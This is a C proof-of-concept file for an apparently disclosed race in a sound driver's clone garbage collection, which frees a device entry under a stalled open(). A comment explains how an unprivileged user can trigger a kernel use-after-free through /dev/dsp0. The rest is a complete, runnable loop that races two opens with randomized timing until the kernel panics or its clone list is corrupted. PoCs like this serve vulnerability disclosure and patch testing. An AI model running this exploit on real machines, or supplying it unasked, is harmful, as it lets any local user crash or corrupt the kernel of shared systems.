DF-4634 / race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | /* * DF-4634 race PoC: snd_clone_gc() prunes a clone entry whose triggering * open() is still in flight (SND_CLONE_INVOKE set, not yet BUSY), freeing * the snd_clone_entry under the stalled opener. * * Method (all as unprivileged user, /dev/dsp0 is 0666): * staller : open /dev/dsp0, set 8kHz/u8/mono + 4x4096 fragments, * fill bufsoft (16KB ~= 2s of audio at 8KB/s), close(). * dsp_close holds SD_F_BUSY for the whole ~2s chn_sync drain. * victim : open("/dev/dsp0") issued delta us before staller's close(). * If staller's close wins SD_F_BUSY after the victim's * dev_clone handler returned but before the victim's * dsp_open reached snd_clone_acquire(), the victim sleeps in * PCM_WAIT holding a pending INVOKE entry. * After the ~2s drain, staller's dsp_close -> snd_clone_unref -> * snd_clone_gc() prunes the victim's (>=750ms old, INVOKE, !BUSY) entry: * destroy_dev(ce->devt); kfree(ce); * The victim then wakes and runs snd_clone_acquire()/snd_clone_ref() * on the freed entry => use-after-free read+write. * * Repeat with randomized delta; a successful prune+reuse manifests as a * kernel panic, clone-list corruption (EBUSY storms) or refcount asserts. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/soundcard.h> #include <sys/time.h> #define DEV "/dev/dsp0" static long ms(struct timeval *a, struct timeval *b){ return (b->tv_sec-a->tv_sec)*1000+(b->tv_usec-a->tv_usec)/1000; } static int staller_fd = -1; static void *victim_fn(void *arg){ struct timeval *t = arg; gettimeofday(&t[0], NULL); int fd = open(DEV, O_WRONLY); gettimeofday(&t[1], NULL); if (fd >= 0) { /* small write to force the channel to actually start */ char b[64]; memset(b, 0x80, sizeof b); write(fd, b, sizeof b); close(fd); } else { fprintf(stderr, "victim open failed: %s\n", strerror(errno)); } return NULL; } int main(int argc, char **argv){ int rounds = argc>1 ? atoi(argv[1]) : 200; srandom(1234); char buf[4096]; memset(buf, 0x80, sizeof buf); int trapped = 0, suspect = 0; for (int r = 0; r < rounds; r++) { /* staller setup: 8kHz u8 mono, 4x4096 bufsoft (~2s drain) */ staller_fd = open(DEV, O_WRONLY); if (staller_fd < 0) { perror("staller open"); return 1; } int fmt=AFMT_U8, speed=8000, ch=1, frag=0x0004000C; ioctl(staller_fd, SNDCTL_DSP_SETFMT, &fmt); ioctl(staller_fd, SNDCTL_DSP_CHANNELS, &ch); ioctl(staller_fd, SNDCTL_DSP_SPEED, &speed); ioctl(staller_fd, SNDCTL_DSP_SETFRAGMENT, &frag); long wr = 0; while (wr < 65536) { ssize_t n = write(staller_fd, buf, sizeof buf); if (n <= 0) break; wr += n; } int delta = random() % 1500; /* us between victim open and close */ struct timeval tv[2], tc0, tc1; pthread_t th; pthread_create(&th, NULL, victim_fn, tv); if (delta) usleep(delta); gettimeofday(&tc0, NULL); close(staller_fd); /* ~2s SD_F_BUSY hold if it wins */ gettimeofday(&tc1, NULL); pthread_join(th, NULL); long close_ms = ms(&tc0, &tc1); long vopen_ms = ms(&tv[0], &tv[1]); /* trap signature: both blocked ~ the drain time */ int is_trapped = (close_ms > 1200) && (vopen_ms > 1200); if (is_trapped) trapped++; if (is_trapped && vopen_ms < close_ms - 100) suspect++; if (r % 10 == 0 || is_trapped) fprintf(stderr, "round %4d delta=%4d close=%5ldms vopen=%5ldms%s\n", r, delta, close_ms, vopen_ms, is_trapped ? " <== TRAPPED" : ""); fflush(stderr); } printf("done: %d rounds, trapped-looking=%d suspect=%d\n", rounds, trapped, suspect); return 0; } |